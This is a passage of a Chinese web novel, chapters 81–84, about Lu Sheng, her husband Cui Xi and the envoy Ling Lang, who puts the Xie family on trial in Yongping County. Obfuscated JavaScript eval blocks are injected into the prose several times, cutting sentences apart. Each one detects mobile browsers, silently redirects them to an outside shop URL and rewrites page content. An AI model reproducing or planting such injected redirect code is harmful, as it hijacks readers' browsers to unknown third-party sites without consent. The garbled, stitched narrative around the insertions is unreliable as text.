“那怎么好意思,上次你的鳝鱼都给了我一大半。”张婶有些不好意思,这个东西拿去县城卖值不少钱。 陆笙摇摇头,只道:“那屋子还是您免费叫我们住的,这是婶子的情分,现下我夫君醒了我们二人也当还一份恩不是?” 张婶对这个年轻的姑娘颇有好感,很是会说话又懂人情。虽说自己是叫她免费住,但人家开头就予了些土药,这东西买一趟不容易,山里人家有很需要。 婶子眼睛转一圈也不再推辞,只是眼见着人往回走。 陆笙问她怎么了,她说取些新鲜的菜蔬送来,家里还有杏子、梅子和桃子,也准备一并拿过来些。 崔息的手碰一碰陆笙的指尖,温热相近,但最后还是没有敢牵。有些话应当说清楚,若她权衡后不愿意也不必空付了她的一份情,自己是不值一提。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565241|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹什么气?”陆笙听到他在身边的轻叹。 “有么?” “有啊,当然有。” “嗯,我想想……好像,想不起来了。” “崔云尘,你可是探花郎……” 两个人说笑着你一言我一语慢慢走过小道,但崔息现在闭口,此刻何其珍贵,何其难得,他贪心。 向农户买完东西回到屋里,张婶已经备好了柴火,杀好了鳝鱼。陆笙亲自操刀,不一会儿两个锅子就开始冒热气,香味随着蒸汽飘出来,秦厌心思全数放下,肚子早饿得不行,像八爪鱼一样扒在柱边看着。 张婶擦了个杏子给他,他一口全塞嘴里。 陆笙本想说秦厌几句,但是看他满眼的期待不由默念:能吃是福,能吃是福啊。 县令府邸,沈莲丰正对着贴在屋子里的纸画一个叉,今日一过明日娘子和阿郎就该回来了,到时她得好好收拾收拾。 甚至于到时候说些什么她都想过,一条条列在纸上,娘子最关心的肯定是她的菜园子。 菜园子产了什么菜,损了什么菜以及什么菜正产她都记着呢,跟宫中记事一样每日记,若今日有趣事还会额外记一笔,如今已经攒了一指厚。 最近的一张记的是关于茄子的,天气热茄子已经长了一些,猜测再过几天就可以吃。薄荷有了新销路,全做成了饮子卖,加上食肆的名字,卖得极好。 “嗯,得把这名字的来历也添上。”沈莲丰自言自语。 只是她准备叫人备墨的时候有仆役来报。 “门外有一位气韵不凡的娘子来拜谒,听口音似乎来自北边。” 沈莲丰实在想不到会有谁,难道是段侍郎的夫人?但她也不会不书信就来此地…… 一边走一边想,可没有人会在此地才是,自贬谪永平后除段侍郎,无人再与阿郎交好。 她愈发地好奇,走到门口一看,确是非凡,可她并不认识。 “这位就是沈管事吧?此为凭证。” 听她的语气竟然不是来找阿郎,而是来找自己的,沈莲丰当即肃了眉眼,若是来找自己的,那便只有一个可能,是公主派来的。 仔细端详对方拿过来的东西,是一枚嵌满宝石的游鱼,红蓝交替,眼睛是黑曜石,果然是福圣公主之物。 “娘子里面请。”沈莲丰的手有些颤抖,不知道所谓何事。 “来人,备茶。”她掩饰一下情绪,转头吩咐。 灵琅走进县令府邸,悠闲地晃了两下马鞭,走到屋里直接坐了上座,之后气势一放,威仪尽现,她说:“沈管事,有些问题还想请你解惑。” 沈莲丰自然是说任凭上差云云,可意想不到的是这位女官竟然只问些仿佛不太重要的问题。 看到沈莲丰疑惑灵琅只是笑一下不置可否。 如此莫测高深,沈莲丰不敢怠慢,细细地对她讲来,因为都是日常事,有时不自觉加了几句。 “看来这位县令夫人做得很好,人也不错。”灵琅捏起茶杯,轻轻抿一口,也是薄荷饮。 沈莲丰知道这是测试她态度的话,和这样的人物交流事事要谨慎。 她正思忖要用什么话来表示,灵琅却站起来说:“天色不早,沈管事,明日再见。” “明日……明日阿郎与夫人要回府。”沈莲丰是希望她明日不要来。 “无妨事。” 灵琅浑不在意,噎得沈莲丰不知道怎么回话。 81. 第 81 章 回来时三个人各骑一匹驴带着行李慢悠悠地走。 崔息除了面色略有苍白外其他一切正常,气力也恢复了大半。自己的身体他并不担心,反倒是为陆笙担忧。听她讲了自己昏迷后的事,崔息每日都跟在她身边,生怕出什么差错。 “估摸着午时不到便可以到家。”秦厌算了算时间,他心里攒着的那股劲从语气里都能听出来。 陆笙摸上背后的斗笠望望天,感觉又要遇见一场雨水。 “等回去就洗个热水澡,丰娘必定是安排妥当的,夫人的园子她与杨娘子都照料着,荷花亭也搭建起来……” 陆笙朝他看看,然后又回头看看秦厌,他正在四处张望。 “怎么了?”崔息觉得她有事要说。 陆笙控制自己的毛驴稍微过去一些,然后小声说:“你最近说话语气怪,跟哄孩子似得,寻常那样就好。” 崔息自己没有意识到,手握空拳咳嗽一声。 “公子,没事吧?”秦厌在后面问。 他语出突然,叫陆笙的那头毛驴打了个拐。 “没事。”崔息说着还回头看了秦厌一眼。 秦厌揉揉眼睛,总觉得那一眼是公子在瞪自己,可能是今天起来得太早,摸黑爬起来赶路,现在还没醒来彻底。 他灌一口浆水,这是张婶送他们的。一共三个葫芦,一人一个,现在天气热正适合喝。即便是过去了几个时辰,喝起来还有点凉意。 沈莲丰命人牵了马往他们的必经之路赶,原本是想在城门口等的,可是她也等不及,没几刻钟就下了这决定。 天空已经开始飘起雨丝,与去年刚来时不同,现在禾苗丰于田野,禾稻沐雨后生长迅速,原先没再耕种的地也碧绿一片,远望过去就像一段段润泽光滑的绸。 农人戴着斗笠笑语连连,真是眼见着好起来。 虽然沈莲丰不曾受教于国子学堂,但也知道美美与共天下大同,那是曾经千年之前的理想,阿郎承着这理想走到永平,与娘子一起把它逐步推向现实。 这种心情同与家人相见不一样。 那是越过自身喜乐的大胸襟,沈莲丰觉得可敬可佩,但更可怜,非是同情,而是值得爱怜,尤其是娘子。 脑子里的想法如同雨水中摇曳生长的枝条,沈莲丰都要笑自己管得宽。 她不过是个奴婢,不能全心全意地迎接,还要向主人派来的上差如实交代。 她已经想好了,小事可说,若是有害与阿郎与娘子,那便舍出性命吧。这样既全了对公主的忠,也全了对公子的义。 低头思虑忘了远眺来路,直到远处有人呼唤才从混乱中抽出情绪。 往远处一看,那缓缓而来的不是他们又是谁!沈莲丰当即策马而去,向他们飞奔。 花开时别,花落再相见,彼此互相珍重保全着,太好了,沈莲丰只能想到这三个字。 她飞驰到三人前,下马紧紧抱住陆笙,又左看右看了崔息好几下,似乎要判断他到底瘦了几斤几两,折损了多少头发与神思。 秦厌在后面问:“丰娘,可叫你想念得紧了吧!” 丰娘拿出帕子揩眼泪,此行必然经历不少事,秦厌都稳重不少。 叫三人换了马,又遣人把毛驴送去永平县的某处商户,四人一身轻松地往家里走。 丰娘说起近况,说阿灵做厨愈发熟练,现在食肆里有一款薄荷饮卖得很好,都说这个薄荷饮旺商运。 陆笙思索一下,怎么就旺商运了,难道是因为叫笙记食肆? 真是一生讨口彩的人呐! 她还记得自己大学时候她常去打工的一加满分甜品,每到考试周那家店就人满为患。 “怎么了?”崔息还是关切着她的一举一动。 陆笙望过来的眼神有点怪,崔息慢慢靠过去,结果被轻轻掐了一下腰。 “你得看路!”陆笙掐完他一夹马腹越过他,直直往前面去。 秦厌和丰娘在旁边拿意味深长的眼神盯这两个人,崔息觉得自己是脸皮渐厚,对此毫不觉耻,反而一打马鞭追了上去。 秦厌啧啧两声,转头问沈莲丰:“丰娘,阿木凌有给我来信么?” “有,都替你好好保管着!” 秦厌得意片刻又感慨,那神色让沈莲丰疑惑。 “怎么了?这回出去长了什么见识竟叫你如此模样了?” “我得请示公子这事能不能说。”秦厌也不知道该怎么讲,索性把事先甩到公子头上。 沈莲丰斜他一眼不去管,自己也打马而去。 “等等我啊!”秦厌着急追赶,偏偏自己的那匹马不爱跑似得一鞭子下去只是甩甩头,急得他恨不得扛着马跑过去。 陆笙跑得快意,一直到城门口才勒马,气还没喘匀却听见一个熟悉的声音。 “想必阁下就是永平县的崔县令了。”语气肯定,还带着些游刃有余松弛。 崔息“吁”一声,马儿也急急地停下。这个人是李同铮身边的一个女官,他见过,只是她来做什么? 灵琅似是知道他的疑惑,轻笑一下。 “崔县令不识此物?”她从自己腰间侧后方解下一枚令牌。 崔息见了心头突跳,这是钦差令,可也没有钦差卫队,他一时有些难以摸清。 “卫队正在驿站,崔县令,本官时间不多,前面引路。”灵琅的这枚令在阴郁的天气里亮得刺眼,陆笙避着低头。 她随崔息下马行礼,视线只落在自己的双手,这是敬君,见这钦差之令如见圣人亲临。 行完礼听见崔息开口问:“可否容属下先将家眷安顿。” 灵琅瞥陆笙一眼,头再转回来,语气带着几分冷漠:“县令没有听清么?前头带路。” 陆笙对崔息摆摆手,意思是安心去忙碌,又指了指旁边同样低头的沈莲丰,意思是自己会和丰娘一起回去。 “是,属下为钦差引路。”崔息也不恼,恢复了平静,心里在暗自思量这位钦差是不是赵昙说的那一位。 如果是,陆笙从土人黑寨要过来的账本能不能放心给她? 那账本的事说来也巧,本来那管事是把东西都藏得好好的,在准备暂时舍弃矿场后便全部拿出来,结果半路被那位桐吾阿克劫住。 土人本来准备把这些纸当引火的东西,而且已经烧了好几本,但恰好被前来议事的卡铃瞧见,最后这些东西就到了陆笙手里。 陆笙没说自己是如何与人交易互换,但是崔息猜测这些都是有代价的。 这些代价都在崔息的考量之内,本来想自己出手将这谢家狠狠敲打的。 “崔县令这是效仿古人隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565242|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士?” “不知上官何出此言?” “见我这上官一言不发,这时候当向本官汇报永平县治理之况。” 崔息并不气恼,反而觉得作为上官灵琅如此并无不妥。 而且她作为李同铮身边的女官,如今地位已大幅超过从前,甚至还当上了钦差,叫一个女官当钦差可是力排众议的举动,她必有过人之处。 “是。”崔息简单一应后开始从前任县令赵昙举措讲起, 至于更前面的,不是崔息没有翻阅,而是因为一场颇有蹊跷的官署大火烧光了记录,本想去州府抽调复写本,但永平太偏远,州府根本没有收录。 听崔息有条不紊地概括出永平近况,灵琅又问些她一路上有些疑问的事迹,譬如如何通的水道、如何处理北人、土人的行商问题与农耕改革。 这些都是崔息一一亲历,自然说起来十分顺畅。 灵琅忽然夸赞一句:“不愧是探花郎。” 崔息不作声,心里疑心这是李同铮特地叫她来的,毕竟…… 忽然,一声“灵姐姐”打断了崔息的思路,他一抬眼,竟然是谢栖真站在县衙门口。 听口气二人竟然相识,甚至是相熟。 崔息想到赵昙说的谢家人在上京有靠山,难道不只是段氏,还有这位钦差? 赶了一路还未休息就遇上如此棘手之事,崔息使劲掐自己几下,眼下必须小心行事。 又自然而然想到那证据,若此时交付不妥或可待以后么? 可这念头刚出现崔息就否决,再等下去可不知道会等出什么事情来,多想无益,再观望观望吧。 谢栖真看到崔息对灵琅毕恭毕敬的样子神情有些得意。 她声音颇大地说:“灵姐姐,原来你是这样大的官儿,小时候我还常跟在你身后呢,现在你也准我跟你来呀?” 灵琅依旧平淡如水,对她笑笑又带着她一起走进县衙。 迟疑之际这位钦差转过身来,她对崔息道:“本官今日夜里就要出发,还想听崔县令审一次案,速速进来。” 谢栖真跟在她身边,面色倨傲。自从她知道灵琅是钦差以后觉得人生又有望起来。 什么永平县,这种破地方她不要待了,直接去上京做一个女官,日日跟在灵姐姐身后也好,去见更大的世面,去寻更大的天地。 父亲既然拼了命要弟弟做官,那自己也可以做,叫他永远后悔,自己做了官可不会帮他! 她揽着灵琅笑语,看到了以后。 “公子!”秦厌忽然策马跑过,抛给他一个葫芦。 灵琅转头看见崔息接了一个葫芦,但脚已经往县衙方向迈出一步,她没说话,更没有多给什么带有情绪的眼神。 喜形不露于色,这种人实在难对付,崔息忽然觉出自己远离上京许久后已生出了一些不老练。 三人刚跨进县衙,有上百号人佩金鞘长刀,穿白衣戴红额小跑了进来。 钦差卫队本不是这个打扮,崔息是知道的,这多半是这位上官的喜好,可……几时个人喜好也能加进卫队去了?还是这不是钦差卫队?他满腹疑问。 灵琅依旧毫无波澜,只是请崔息坐下,她坐高位,谢栖真想站她身边却被护卫拦住。 她朗声道:“今日审谢家,不知崔大人可有准备?” 82. 第 82 章 公堂的地铺了砖,多日的雨水叫它变得潮湿,谢栖真的石榴裙一跪上去就有层黑色的湿灰粘上来。 本想用手抹,但忘了。 是的,忘了。 脑海里什么也没有,谢栖真似乎都忘了要怎么发出声音,要怎么开口说一句话,什么语言才能谴责当下灵琅做的事情,什么语气才能表达愤怒,好像全部都不够力气,语言的每个音节都不够力气…… 当初她教自己学诗的时候分过平与仄,仄声短促强烈,那现在有没有一句全是仄声的句子去表达她的痛苦? 没有,居然,一句也没有! 谢栖真忽然想笑,你看,经天纬地的人都没有写出过这样的情绪,没有人写过。 这是怎样一种空白,今日却被自己填补了,这是天下第一呀! 谢栖真嗤笑一声,身子忽然抬起来的时候冲来两个侍卫,他们折着她的臂膀叫她无法动弹,无法挣脱,手不断地压下她的头颅,但她还是要固执地把头抬起来。 她要抬起来看灵琅。 此时谢栖真的泪水像昨日自己高兴时忘记收回的手,酒液汩汩流出,无论如何也圈不住,打湿了衣服。 今日没有酒醉,但人却无比晕眩,一切像折桂厅里的窠纹一样,旋转旋转,分不清模样,化作一道流光。 崔息不知她们有何交情但不多问,只待谢父与谢母俱到时才开口:“还请上官明示,今日下官应审何事。” “欺上瞒下勾结上官,赵县令不曾对你讲过?”灵琅仿佛攀谈家常一样说起这事。 “记得,赵县令所托证据亦在此处。下官本次出访黑寨所得证据可否一同呈禀?” 崔息听灵琅的语气并没有姑息的意思,且提到了赵昙,所以他瞬息之间就做出一个决定,要把那些证据呈给灵琅。 谢林一直在堂下喊冤,夫人窈芳有些茫然,直到灵琅查验账本说:“再把那隹家的也绑过来一并办了,要是光谢林一家我还不好办。” 说这话的时候倒是有点笑意,杀伐之事也像普通抱怨似得讲出来,崔息心下思量却领命称是。 这事钦差说得有些道理,本地土人北人混杂,只处理一家容易出乱子,这样的乱子还会威胁到县衙的正常运行。 现在两家都有错那便是杀鸡儆猴,甚至等到后面扶植的乡也有用处,可以叫他们的异心生得慢一些。 崔息之前也是这样想的,但他手上的权力没有那么大,也已经做好了两家有所反扑的准备,到时釜底抽薪就是。没想到现在突然来了一位钦差,快刀斩乱麻。 再看一眼灵琅,此人素净的袍子人却杀伐果断,甚至有些刚愎独断,这样的人做钦差确实合适,会是个让皇帝放心的孤臣。在外嚣张跋扈便容易受到外官敌视,靠山便只有一个自己。 谢林还在底下喊冤,灵琅不说话,自有侍卫掌他的嘴,两下一打,嘴边已沁血,承受这样的巴掌他不由咳嗽,血沫子喷了一地,但马上捂住嘴,他怕吃第二轮的掌掴。 灵琅问他:“你有何冤屈?要开门叫永平县的诸位百姓看看?” 关起门来堂审不是灵琅的风格,这一次是再给谢家全最后一点脸面,毕竟从前最难时相帮,也不是没有一点点恩情。 谢林色厉内荏,也不不似谢莘这样一手一脚拼出来的人,懂事立业的时候永平县已经没人不敬重谢家,如今叫这巴掌一打直接懵了。 隹家的人不久也压到堂上,灵琅出手更狠,不说便上板子、鞭子,几下使来已没有再喊冤的人。 “那便成了,崔县令将罪名一拢上报即可,通敌是要诛灭三族的,若发现包庇,好自为之。” 崔息神色很冷,忽然有些分不清这位上官是酷吏还是心下已有计算,明明已有罪证却为图块严刑逼供,他不敢苟同。 “是,下官定会依律依证断罪。”崔息双手抬起,头微微低下。 言下之意他不依钦差之言,只依律法。 灵琅毫不在意,只揉一揉眉心对侍卫说:“将她带下去,我另有话。” 崔息命捕快将其他人都压下去,这时忽然发现在偷看堂上审案的老汤,崔息拧着眉冲他微微摇摇头,老汤两眉一吊表情惊恐,立刻掉头离去。 “崔县令,余下细节自己把握,要叫有罪之人无法脱逃,若办事不利,即便圣人在千里外也必有严惩。”灵琅说完站起来,扫视一圈,无人敢与她对视,除了崔息全部战战兢兢。 她眼神平静,带着几个侍卫沿着廊走到偏屋,谢栖真被押在那,还是跪着的姿势。 灵琅看看天,又开始下雨。 最近雨水一直落,地下都泛起一股潮湿,哪怕是建屋时抬得再高也能闻见那股陈年的霉味。 谢栖真跪在府衙,眼中的灵琅像一抹月色。她周围的一切都是深色的晦暗的,而她带着皎皎光华。 她不明白,不明白如何就到了这一步。明明前天她还在自己家里,她们正在讲述从前,她还答应带自己去上京。 怎么如今自己就真的失去了一切,被她轻松剥去了谢家几十年的根基。 “为什么姐姐要骗我……” 灵琅还是带着笑,听她这么说笑得更深了,她反问:“你没有骗我么?” 谢栖真身子一歪还好手还能勉强支撑,不至于把自己的脸也贴在地上。 “不一样!”她立刻回答。 “不一样?”灵琅反问。 谢栖真也说不出哪里不一样,但就是不一样,一点都不一样! “是不是陆笙那个贱人,姐姐若是要我家的家产,你与我说一声我愿意给你的,我愿意。”谢栖真先是气急败坏,最后变成了喃喃。 灵琅叹一口气,拍拍她的头。 “没有人要抢你的东西,只是你看得太浅太近,不与你同道的便要立刻设法除去。”灵琅要的东西谢栖真无法给予,她对跪着的谢栖真只剩最后一丝同情。 “不然又待如何,姑息对手愈来愈强大吗?”谢栖真像仍是灵琅的学生,用提问的语气问她。 灵琅在她面前左右走几步,似是叹息她资质不好。“原来你还是不明白。” “你有没有认真想过你自己,是你对自己根本没有一点信心。对方强大你难道就不会更强大么?甚至这世界本就如此,一山更比一山高,资质并不顶好,得到亦不满足,那如何才能安宁。” 谢栖真含泪仰视灵琅,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565243|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是这样波澜不惊,带着复俯瞰的姿态说话。 “姐姐,你根本一点也不明白我,你不明白……我已经竭尽全力了,那是我的全力,你却还是不满意!!为什么要对我这么苛刻?为什么……” 这段话说得上气不接下气,涕泗横流。之后她无力垂首,语气几近乞求。 她说:“求你别这么教训我。” 只是说到后面,语调却陡然拔高变得尖锐,像两片金属在用力搓摩。谢栖真疯也似得大叫:“这世间根本就没有你满意的人……我恨你……恨你……好恨你……” 崩溃的尖叫最后化作吃力得哽咽与哭泣,声音模糊不清,情绪像潮水一样淹没了她。 灵琅却不回应,谢栖真想去抓她的袍子,旁边的侍卫却抢先一步压着她。这一刻自己不是人,她这个失去尊严的人甚至不如一条狗。 “带她下去,之后处置。” 这一回谢栖真莫名读懂了她的意思,灵琅的意思是有,只不过这个人不是她。谢栖真好恨,绵绵不绝的恨,可是循着恨却掰不出一个理由,开始恨的理由。 最初根本不是恨,明明是敬佩是羡慕,没有一点恨。 怎么就走到了这一步,她还是不懂…… 回到堂上,灵琅已经在规划下一段路程,她卫队所带的车里还有不知多少的书信文件要判断,这次来处理这件事并不顺路,但必须来。她想看看陆笙到底什么样了,看她样子还不错,应该也够给自己当帮手。 想到此处她眉毛忽然一紧,事情布置得差不多,若要陆笙为自己做事,那么崔息便不能留下,至少不能留在她身边。 这个逻辑是这样自然而然,如今的她都不再为自己的残忍而惊讶。要想改变必定要适应,失去自我一部分获得权力,这是一定会发生的。 崔息看到灵琅的眼神觉得冷,但照旧行礼,之后奉上简短的判决书。 灵琅注意到谢林所生的孩子里谢卉真也在里头,她没作声,要了笔批改了一横,将她的名字涂抹下去。再闲话几句,灵琅便要离开,离开前她说了一番还算真心的话。 “崔县令留步,到时判决书和结果一并书信上报。匆匆几面便要告辞,永平县得崔县令这样的父母官是大幸。” 灵琅这么些繁杂的文书看下来,崔息写得最认真最好,简明扼要且全是有效信息,不像其他地方官吏,欺上瞒下,模棱两可。但也不能把所有探花拨出来做县令,京畿要地也需人才,否则外戚豪绅指不定到了如何模样,说圈地养私兵都是轻的。 南北初定,蕃人又不安分,灵琅一想脚步不再停留,抬手想拒绝崔息的其他禀报。 但崔息依旧开口说:“上官不知是否看过这份单子,蕃人与他们有交易且是买卖铁器,请上官慎重相待,下官以为派兵驻守最是安全。” 灵琅听他这样说点点头,唇角几不可见地弯起,她有办法了,只等待一个机缘。 听完崔息的话,灵琅不说好也不说坏,自顾自地往前,最后在一队人马护送中离开。 崔息站在衙门口,这时候他想起自己忘记看那个葫芦了,实在紧张。倒不是怕那份天威,而是牵挂还在身边,这时候来不及为她安排。 83. 第 83 章 夏日的蝉鸣在耳边炸开,陆笙找了一片树荫坐下,这次大学军训她因为身体羸弱所以不必参加。 可光看着也无聊所以提前从图书馆借了一本厚厚的《印度佛教史》来念。 外婆信佛,但除了那高高的金身她还不明白这是什么。读了汉化以后的佛教史她不满足,思考更远之前它的模样。 反正目前除了进入渺渺无踪的书本世界,陆笙实在无处可逃。 陆笙读书的时候一直想象。 想象自己坐在丛林之中,而身边来来去去者都是为寻找智慧的人。 结果读着读着她就中暑了,太阳变化之下树荫遮不住她,只是短短十分钟她就倒在地上。 耳边响起刺耳的电流声,她的眼睛眯成一条缝,只让一点点毒辣的阳光钻进去,头脑里疼痛不断发作,频率稳定叫人想吐。 “同学?”伴随一个清悦的声音,一片阴凉遮住了陆笙,附近也适时的飘来一缕风,虽然还是带着烧灼般的热。 蓬松的暖气拂过身体,陆笙意识随着它的溃散而溃散,再醒来是在医务室,伴随而来的就是一阵猛烈的头痛。 “你是中暑了。” 昏迷之前那个声音再次响起,陆笙转头,看到一位女士,她头发乌黑光亮乖顺地任她拨放在一侧,玫瑰金的镜框在这里闪闪发亮。 “谢谢……老师。” 陆笙发现她胸前挂着一张证,是学校的论道会谈的与会嘉宾。 这个会议她报名这所学校之前就知道,每三年国内外哲学专业相关的教授就会相聚于此进行最新学术成果的交流,或者说思想交锋。 她看起来那么年轻居然就已经可以参加论道会谈,陆笙有点羡慕。 “你对这个有兴趣?” “嗯。” “我是本校老师,我叫灵琅。最近研究的课题呢是中古西域各宗教的交汇混杂情况,对这些也略懂一二,同学如果感兴趣可以来听我的课。哦对,我本身的专业是印欧语系,所以我会梵文和巴利语哦,还会一点吐火罗语!”她自信地介绍并朝陆笙展颜一笑。 听见这样的介绍陆笙只感觉捉襟见肘,自己才翻这本书没多久,怕是根本听不懂她的课。 “对这个感兴趣的人很少,能抓一个是一个,不懂问我就好。”灵老师很热情。 “谢谢。”陆笙摸一摸自己的耳朵,耳朵明显在发烫。 “你好好休息,以后再见。” 灵琅指指她旁边的小桌子,上面放着已经坠满水珠的电解质水和矿泉水,都是蓝色的瓶身,看起来很清凉。 “谢谢……”陆笙捉不出其他的词语。 她想人与人之间的差别真是大,什么时候自己也能像老师一样自信呢?自己身上那一层灰扑扑的自卑实在太难克服。 甚至这份自卑是陆笙初高中生活的底色,她很早就知道成绩只是一时幻觉,成绩抵消不了病痛,也无法教会自己跌倒后爬起。 她总迫切地想要找到带来那些正面情绪的源头,但好像需要爱。 爱或许来自自己、亲情、友情或者爱情,可这几个自己现在一个也没有,她自己是干涸的,近望和远望也是茫茫一片沙漠。 陆笙时常会因为这件事惊慌,好像自己被谁抛下了,无助也无法诉说。 她握住灵老师给的水,在心里暗暗发誓,这次机会她要捉住! 当然,里面还有她自己的一点小心思,要是能分得灵老师的半分自信就好了,这样,这样她的世界会更美好吧! 五指触碰瓶身,水珠汇聚流过她指尖,陆笙忽然有点想哭,自己真是好没骨气,明明再过半年就要成年了却还是要哭。 外面响起一阵脚步声,陆笙此时不想和人说话,缩起来装睡。 窗外的蝉声依旧响亮,但隔了一层厚厚的玻璃窗,所以勉强能和空调的强风斗个平分秋色。 灵琅走进来,看她侧着身又睡过去,就把书放在桌子上,又给两瓶水垫了纸巾免得打湿了书本。 陆笙本来是装睡,后面却真的睡着。 “陆笙,陆笙……” 好像有人喊她,可她睁开眼屋子里没有其他人,只有蝉声透过纱窗。 梦境里的蝉声和此时蝉声混淆在一起,有种莫名的迷惘。 陆笙花了点时间确认自己到底在何处,可是那梦慢悠悠地还不撤退,碎片依旧在脑海中回转悠游。 脑海里忽然惊雷一般闪回今天在城门口的那个人。她和灵琅长得很像,特别像,几乎一模一样。 这个名字她主动遗忘过,有段时间不能提起,但现在又好了,可以完整地清楚地念出她的名字。 “灵琅。” 如今陆笙已经不怕再有梦魇环绕,她开心地笑了一下,心里已经没有什么褶皱。 真的过去了,原来曾经以为不可能原谅的人和事,只要过得够久,经历得够多,它就可以褪色。 或者是自己进步更上层楼了? 不论哪一个,陆笙都觉得不错。 活动一下身体,她从床上爬起来,跟着她起来的还有脑子里另一个念头,那就是对方并不是灵琅,只是有着同样的脸。 她的眼神完全是陌生的,只似风拂过。 见到那个人的时候陆笙的心情简直像过山车,先是兴奋继而惶恐,最后逐渐恢复平静。 从罐子里掏出一枚莲心含着,闭着眼感受弥漫的苦涩。 她习惯性地开始冥想,并开始整理自己的想法和目前的状态,只是没想到,自己亟待解决事情居然是如何与崔息相处。 说到这件事她有点抗拒,不能今朝有酒今朝醉么?一定要完全理清楚才能过下去么? “笃笃笃”,门外响起敲门声。 陆笙撩开帘子,一边驱散纠缠不清的思绪一边为来人开门,多半是丰娘。 可开门一看,竟然是崔息。 他的头发还带着些微微的潮意,有些一缕一缕并在一起,夏天傍晚的风卷起几根已干了的发丝。 蝉声钻过两人之间的空隙,填满这几个呼吸的沉默。 “夫人。”崔息眉被夕阳软化,阴影晕开他脸部轮廓。 “喊我吃饭?”陆笙猜测。 崔息听了笑,认真地摇摇头,之后又对她轻轻抬眉,意思是猜一猜。 “嗯……汇报公务?”陆笙选了一个不大可能的,谁知他眼睛亮着点点头。 “……明府请。”陆笙转回屋里,咽下口中的莲心对他伸手请他进去。 走进屋,屋子里并没有什么变化,就是暗。陆笙问他要不要点灯,他却说不必。 屋外还能勉强看出彼此的面孔,屋子里视线模糊,适应以后才有轮廓浮现。 “陆笙……” 崔息完整地念出她的名字。 陆笙听了屏住呼吸,等待他下面的话。 “某有意求淑女芳心,若淑女不弃从此愿得一人心,白首不相离。” 他一字一顿,每一个音节都花了极大的力气。 说完这一句,坐在对面的她没有急急反驳,但也没说话,崔息吐一口气继续说下去。 “然与某偕行或有生死之危,此生跌宕如何还未可知……” 他换了书面语郑重地向自己道出心意与顾忌,陆笙恍惚,有些话听不清。 掐着自己强迫回神时他还在说,声音里带着努力忍耐却还压制不下的情绪。 “……某为上京崔氏子,因故为圣人所厌所忌,求索不得自放于边陲。来时心冷,并有意皈依我佛,然苍天垂怜,得遇良人……” 还以为他要说凡心未泯,或者这是佛给予他考验的话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“叫我‘夫人’没有反驳是因为我也喜欢你,只是我还没有爱过一个人,不知道有没有能力。我又怕这样的感情把我推向无法控制的海啸中,害怕走上岸就再也无法远行……我有很多害怕,很多顾忌,而且我也不会事事迁就你,如此你还愿意么?” 陆笙自揭短处,在她的想法里爱就是交换。 可坐在对面的他却说:“云尘也是如是,只愿夫人不弃。” 陆笙站起来,凳子被她的举动往后推,发出一阵难听的摩擦声。 “那你以后叫我陆笙好吗?我怕我忘记我自己。”陆笙对崔息说,她那种恨自己不争气的感觉又来了,同时又疑惑,为什么欣喜也要落泪。 “陆笙。”崔息觉得自己的领口太紧,喉咙呼吸不畅。 “崔息,让我抱抱你吧。”她走近,向自己张开双臂。 崔息也站起来,靠近一点又不敢太近,够到她以后指尖用力将她一点点揽过来。 陆笙觉得他身体有些烫,以为要如那次一样,但崔息只是一遍遍亲吻她的头发。 “蒙陆笙垂怜。”他的声音颤抖。 亲完以后他有点紧张,抱着陆笙问:“刚才会不会叫你不喜欢?” 陆笙真想说崔云尘是笨蛋,但出口只是:“喜欢。” 她喜欢得难以用语言形容,真害怕从此再没有这样快乐的事,陆笙心里荡漾起忐忑。 她也是真恨自己这种担忧,每次都不能由衷地快乐。 更让人恨的是一生都值得铭记的时刻,陆笙的肚子却一点也不配合,它“咕咕”得叫了两声! “丰娘说永平变化不小,我们出去吃饭,顺道看看如何?”崔息一如往常地温柔细致。 陆笙自然欢喜答应,她让崔息微微弯腰,在他耳边问:“我可以帮束发么?” 他的头发乌黑顺滑,陆笙一直想要染指。 84. 第 84 章 陆笙觉得自己还是手笨,束不好他那月下长瀑似的发,还好过程颇为享受,柔顺微凉的头发被自己摆弄再藏起来。 对着灯火一看,认真摆弄出来的却是略显歪斜的幞头。 陆笙有点心虚地说“还是你自己来吧,歪的实在不好看。” 陆笙手伸过去准备为他拆了那结,崔息却握住她的手腕问她:“你第一次为我系的幞头就这么拆了?” 